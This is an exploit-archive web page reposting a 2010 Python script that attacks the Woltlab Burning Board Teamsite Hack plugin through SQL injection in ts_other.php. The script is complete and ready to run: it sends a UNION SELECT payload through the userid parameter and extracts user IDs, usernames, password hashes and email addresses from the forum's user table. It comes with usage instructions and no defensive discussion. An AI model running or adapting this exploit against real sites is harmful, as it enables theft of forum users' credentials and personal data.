首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Woltlab Burning Board Teamsite Hack <= v3.0 (ts_other.php) SQL Injection
来源:vfocus.net 作者:Laster 发布时间:2010-03-22  
========================================================================
Woltlab Burning Board Teamsite Hack <= v3.0 (ts_other.php) SQL Injection
========================================================================

----------------------------Information-----------------------------------------------------
+Name : Woltlab Burning Board Teamsite Hack V3.0 ts_other.php SQL Injection Exploit (Python)
+Autor : Easy Laster
+Date   : 21.03.2010
+Script  : Woltlab Burning Board Teamsite Hack V3.0
+Google Door : Teamsite Hack V3.0 by Blue -- Robis-Forum
+Download : http://www.robertotto.de/
+Price : Woltlab Burning  Board Lizenz
+Language :PHP
+Discovered by Easy Laster

---------------------------------------------------------------------------------------------
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys, urllib2, re
 
if len(sys.argv) < 2:
    print "***************************************************************"
    print "*****Woltlab Board Burning Board Teamsite Hack V2.0 ***********"
    print "***************************************************************"
    print "*          Discovered and vulnerability by Easy Laster        *"
    print "*                      coded by Dr.ChAoS                      *"
    print "*                                                             *"
    print "*                          <=Usage=>                          *"
    print "* python exploit.py http://site.de/forum/ <userid, default=1> *"
    print "*                                                             *"
    print "***************************************************************"
    exit()
 
if len(sys.argv) < 3:
    id = 1
else:
    id = sys.argv[2]
 
forum = sys.argv[1]
if forum[-1:] != "/":
    forum += "/"
 
urlPart1 = forum + "ts_other.php?action=modboard&userid=1111111'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,concat(userid,0x3a,username,0x3a,password,0x3a,email),24,23,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55"
urlPart2 = "+from+bb1_users+where+userid=" + str(id) + "--+"
columns = ""
 
print "Exploiting..."
 
for i in range(10):  
    html = urllib2.urlopen(urlPart1 + columns + urlPart2).read()
    ##I hate regex!
    res = re.findall(r">([1-9])\:(.*)\:(.*)<", html)
    if len(res) > 0:
        userID = res[0][0]
        userData = res[0][1].rsplit(":", 1)
        email = res[0][2].split("<")[0]
        print "Success!\n"
        print "ID: " + str(userID)
        print "Username: " + userData[0]
        print "Password: " + userData[1]
        print "E-Mail: " + str(email)
        print "\nHave a nice day!"
        exit()
    columns += ",1"
 
print "Exploit failed..."

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Realtek Media Player Playlist
·Apple Safari <= Tag (heap spra
·Xilisoft Video Converter(.yuv
·eDisplay Personal FTP server 1
·Httpdx v1.5.3 Remote Break Ser
·eDisplay Personal FTP server 1
·ZippHo 3.0.6 (.zip) 0day stack
·KDE <= 4.4.1 Ksysguard RCE via
·MediaCoder (.lst) file local B
·eDisplay Personal FTP server 1
·Win32 Mini HardCode WinExec&Ex
·JITed egg-hunter stage-0 shell
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved